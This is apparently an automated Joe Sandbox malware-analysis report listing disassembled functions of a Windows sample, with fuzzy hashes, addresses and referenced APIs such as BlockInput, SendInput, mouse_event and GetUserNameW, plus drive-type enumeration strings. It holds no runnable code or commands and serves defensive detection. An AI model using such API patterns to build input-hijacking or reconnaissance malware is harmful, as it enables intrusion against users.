Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: e36dc1ad2879a5259b2600d331359bca7c9e103ed6834be3ce7b4b079d39d0f7
Instruction ID: 22755c40e1c559a854f9f6abedff3c8a72a6b2b5fd40ecc533f21bd8f622656c
Opcode Fuzzy Hash: e36dc1ad2879a5259b2600d331359bca7c9e103ed6834be3ce7b4b079d39d0f7
Instruction Fuzzy Hash: BE41BE62F5578290EA04EF26D4400FD63B0FF59B88B459836DF1E937A6EE38E115C714

Function 00007FF6BB199420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF6BB199465

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction ID: 8ce4f2a537d0714cdfc45030439a22b2adf387e45aa0d692af88e6da79d899a5
Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction Fuzzy Hash: DBF0BE6691C6D0C6D3208F19E44076A77A0F75878DF406219EB8987B64CF3EC10A8F04

Function 00007FF6BB19D158 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF6BB19D195

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 0b714c751875e8dc45ae7a8dcacc26d290f00faff47a66fe6fea29bbb9c03c96
Instruction ID: e6a46c08d7d09546c4b128439432ff5d7d3596255e40ca62eaeb356baf3abca3
Opcode Fuzzy Hash: 0b714c751875e8dc45ae7a8dcacc26d290f00faff47a66fe6fea29bbb9c03c96
Instruction Fuzzy Hash: A0E01A6BE181C2D2F2695A3C952AB751652BBA930CE940230C78986AF6CD1DA6079601

Function 00007FF6BB1B0A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00007FF6BB1B0A26

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction ID: 201148aec4693152dc2e54da20f58b879293d2a7a638b95ae2244dad57b1f4ef
Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction Fuzzy Hash: B0E065327142028AEB549B79E0842796290BB8CB88F145435DB0DC73A5DE7CD4908700

Function 00007FF6BB182BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF6BB182BE4

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction ID: b812ec2fe6978d55b8e71d6e6536fd649acc9408e6116331c23c5e05a69c7526
Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction Fuzzy Hash: 39C00271614662D9E760DF68D8D45DC3331F71475DF905121E70A5E5B89F789648C340

Function 00007FF6BB14C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6BB14C2E7

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: 1b649d4e05c2fa38572ba4f757ba1a51e38d8b18af4066c0003057b3397b6ab0
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: CB81C722A1C60286EAA48A6D904097E23A0FF5DB4CF541531DF0ED76B5CFEDE946DF40

Function 00007FF6BB14BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6BB14C04E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: c9baa2e130393f11743d85108e328ab006cb631517da12fabe00d56377f1e434
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: 5271B225A1C68246FB688B2D904027E77A1BF49B4CF249535DF0DC76FACE6DE8468F01

Function 00007FF6BB1358D0 Relevance: .7, Instructions: 692COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e208b31f6d37cdc72f3bd69f02d4d9af6c04350764ab3d2777e2d74da59ea266
Instruction ID: 5d0e34ab6c3b4d5d4aedfb462286957c1385408df2fd9ec977e9613ba7e66952
Opcode Fuzzy Hash: e208b31f6d37cdc72f3bd69f02d4d9af6c04350764ab3d2777e2d74da59ea266
Instruction Fuzzy Hash: 74528E32A0C68296EA34DB29D49867D23A5FF0DB8CF194536DB5E876A5EF3CE450C340

Function 00007FF6BB12B390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: efb145b0ed894b1b8c0109129c514bbf930bbb5e7afbde99f9239a59bcee5cb2
Instruction ID: 83702990e309532783f0713c09419953c47d04f232a046f8324f801ce0bd95df
Opcode Fuzzy Hash: efb145b0ed894b1b8c0109129c514bbf930bbb5e7afbde99f9239a59bcee5cb2
Instruction Fuzzy Hash: D3524C72B09A428AEB10DF69D4542BD23A1FB49B9CF508235DF1EA77E9DE38E405C740

Function 00007FF6BB12B9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d026a1c203ba6ed6fe6f35b32a31a9f72c9afe610f9e181af674b5eb536a0a
Instruction ID: 3819b431a7526ebe22c65998bd18a89ee96d52bbca6f2ad5fae2d4ab68a9ab84
Opcode Fuzzy Hash: 98d026a1c203ba6ed6fe6f35b32a31a9f72c9afe610f9e181af674b5eb536a0a
Instruction Fuzzy Hash: 6F428B32B0878286EB10DB29D4802AD7BA5FB8979CF604135DF5E97BA5DF39E541C700

Function 00007FF6BB1530DC Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction ID: 692858f92f46e228f965c34bf817d864e1971da72e907dee0728a4f1725ab498
Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction Fuzzy Hash: FF421E21D69E5A89E6538B3DB45153A6764BF5A3C8F01C337EB0FE7670EF2CA4428604

Function 00007FF6BB166DE4 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction ID: 39da2e5a38aadafdd1f09d2d5edab32516ff587fb6f7fef3403565b4be0a7734
Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction Fuzzy Hash: 93711732E0C29286F7648A2D94907BD6291BF4A378F144638EB5FC76F5EE7DE8418710

Function 00007FF6BB1A1A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: 11c0740be560e3ded6a4638111708f8591c108c38b0062447f83a8428d21d02d
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 54218133B2454586E709CF79D8526B933E5B769708F08C13AD62B87694DE3DE909CB80

Function 00007FF6BB15FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: 3815ab775f4f2914b22dc2e9c94ad691e3b0b182bbe61da1bcb70c309767f05f
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: D5F04FB1B182958ADBA4CF2CA853A397790F70C384FD08139DA8DC3E54DE3C90619F04

Function 00007FF6BB1459C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: df329de19478d51b8ac16c9081c04288bcbb424a05e493d33cdbd14672df11d5
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: 4EA0026595EC02D4E6048B08F8500302730FB5831CB510432D20DC14B59F3CA485C700

Function 00007FF6BB1CE95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF6BB1CE9C4
SetTextColor.GDI32 ref: 00007FF6BB1CE9CF
GetSysColorBrush.USER32 ref: 00007FF6BB1CE9E8
GetSysColor.USER32 ref: 00007FF6BB1CE9FA
SetBkColor.GDI32 ref: 00007FF6BB1CEA1B
SelectObject.GDI32 ref: 00007FF6BB1CEA2A
InflateRect.USER32 ref: 00007FF6BB1CEA4F
GetSysColor.USER32 ref: 00007FF6BB1CEA5A
CreateSolidBrush.GDI32(?,?,?,?,?,00000000,?,?,?,?,?,00007FF6BB1D120A,?,?,?,00007FF6BB16AA77), ref: 00007FF6BB1CEA62
FrameRect.USER32 ref: 00007FF6BB1CEA75
DeleteObject.GDI32 ref: 00007FF6BB1CEA7E
InflateRect.USER32 ref: 00007FF6BB1CEAD3
FillRect.USER32 ref: 00007FF6BB1CEB03
GetWindowLongW.USER32 ref: 00007FF6BB1CEB22
SendMessageW.USER32 ref: 00007FF6BB1CEB6F

Part of subcall function 00007FF6BB1CECB4: GetSysColor.USER32 ref: 00007FF6BB1CECFB
Part of subcall function 00007FF6BB1CECB4: SetTextColor.GDI32 ref: 00007FF6BB1CED06
Part of subcall function 00007FF6BB1CECB4: GetSysColorBrush.USER32 ref: 00007FF6BB1CED21
Part of subcall function 00007FF6BB1CECB4: GetSysColor.USER32 ref: 00007FF6BB1CED34
Part of subcall function 00007FF6BB1CECB4: GetSysColor.USER32 ref: 00007FF6BB1CED5F
Part of subcall function 00007FF6BB1CECB4: CreatePen.GDI32 ref: 00007FF6BB1CED76
Part of subcall function 00007FF6BB1CECB4: SelectObject.GDI32 ref: 00007FF6BB1CED87
Part of subcall function 00007FF6BB1CECB4: SetBkColor.GDI32 ref: 00007FF6BB1CED97
Part of subcall function 00007FF6BB1CECB4: SelectObject.GDI32 ref: 00007FF6BB1CEDAA
Part of subcall function 00007FF6BB1CECB4: InflateRect.USER32 ref: 00007FF6BB1CEDD1
Part of subcall function 00007FF6BB1CECB4: RoundRect.GDI32 ref: 00007FF6BB1CEDFD
Part of subcall function 00007FF6BB1CECB4: GetWindowLongW.USER32 ref: 00007FF6BB1CEE0B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: a1934e377bf19be0261ecab6ae9ab8a3b413be01dac9d1bc3f09b8c2d843b02b
Instruction ID: 54d94029bb23fbabcc3969bf5725852f63d31ceb7fa651fa0681d59c0baa60d4
Opcode Fuzzy Hash: a1934e377bf19be0261ecab6ae9ab8a3b413be01dac9d1bc3f09b8c2d843b02b
Instruction Fuzzy Hash: 69A18032F04A1286EB14CB69E88467D2761BB4CBA9F104735DF2E97BA4DF3CE4448740

Function 00007FF6BB1A4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6BB1A4F61
GetDriveTypeW.KERNEL32 ref: 00007FF6BB1A50BE
SetErrorMode.KERNEL32 ref: 00007FF6BB1A52A3

Strings

USB, xrefs: 00007FF6BB1A51BA
SSA, xrefs: 00007FF6BB1A51D2
iSCSI, xrefs: 00007FF6BB1A525E
PhysicalDrive, xrefs: 00007FF6BB1A4FF5
RAMDisk, xrefs: 00007FF6BB1A50ED
Network, xrefs: 00007FF6BB1A5105
ATA, xrefs: 00007FF6BB1A51E7
SATA, xrefs: 00007FF6BB1A524C
SAS, xrefs: 00007FF6BB1A5255
Fibre, xrefs: 00007FF6BB1A51C6
ATAPI, xrefs: 00007FF6BB1A51F0
Fixed, xrefs: 00007FF6BB1A5111
CDROM, xrefs: 00007FF6BB1A50F9
Virtual, xrefs: 00007FF6BB1A5231
SSD, xrefs: 00007FF6BB1A515D
\\.\, xrefs: 00007FF6BB1A4FAE
MMC, xrefs: 00007FF6BB1A523A
SCSI, xrefs: 00007FF6BB1A51F9
Unknown, xrefs: 00007FF6BB1A50E1
RAID, xrefs: 00007FF6BB1A5202
FileBackedVirtual, xrefs: 00007FF6BB1A5228
Removable, xrefs: 00007FF6BB1A511D
1394, xrefs: 00007FF6BB1A51DE

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: bbb8373922c4c1ac776fb25ab571143455ae640d91028c4cde848772eb275b70
Instruction ID: 1e035334ab8c19efef1287358fb34e0e70ffa8014092e7a1022a0571ac6269cf
Opcode Fuzzy Hash: bbb8373922c4c1ac776fb25ab571143455ae640d91028c4cde848772eb275b70
Instruction Fuzzy Hash: 95B16E61B0CA42D0EA649B6DD96017C3761FB5878CB944132DB2ED7AB9DF2CF949CB00

Function 00007FF6BB1CECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF6BB1CECFB
SetTextColor.GDI32 ref: 00007FF6BB1CED06
GetSysColorBrush.USER32 ref: 00007FF6BB1CED21
GetSysColor.USER32 ref: 00007FF6BB1CED34
CreateSolidBrush.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1CE98C), ref: 00007FF6BB1CED3E
GetSysColor.USER32 ref: 00007FF6BB1CED5F
CreatePen.GDI32 ref: 00007FF6BB1CED76
SelectObject.GDI32 ref: 00007FF6BB1CED87
SetBkColor.GDI32 ref: 00007FF6BB1CED97
SelectObject.GDI32 ref: 00007FF6BB1CEDAA
InflateRect.USER32 ref: 00007FF6BB1CEDD1
RoundRect.GDI32 ref: 00007FF6BB1CEDFD
GetWindowLongW.USER32 ref: 00007FF6BB1CEE0B
SendMessageW.USER32 ref: 00007FF6BB1CEE58
GetWindowTextW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1CE98C), ref: 00007FF6BB1CEE90
InflateRect.USER32 ref: 00007FF6BB1CEEB3
DrawFocusRect.USER32 ref: 00007FF6BB1CEEC1
GetSysColor.USER32 ref: 00007FF6BB1CEED0
SetTextColor.GDI32 ref: 00007FF6BB1CEEDB
DrawTextW.USER32 ref: 00007FF6BB1CEEF9
SelectObject.GDI32 ref: 00007FF6BB1CEF17
DeleteObject.GDI32 ref: 00007FF6BB1CEF25
SelectObject.GDI32 ref: 00007FF6BB1CEF33
DeleteObject.GDI32 ref: 00007FF6BB1CEF3E
SetTextColor.GDI32 ref: 00007FF6BB1CEF4A
SetBkColor.GDI32 ref: 00007FF6BB1CEF5A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
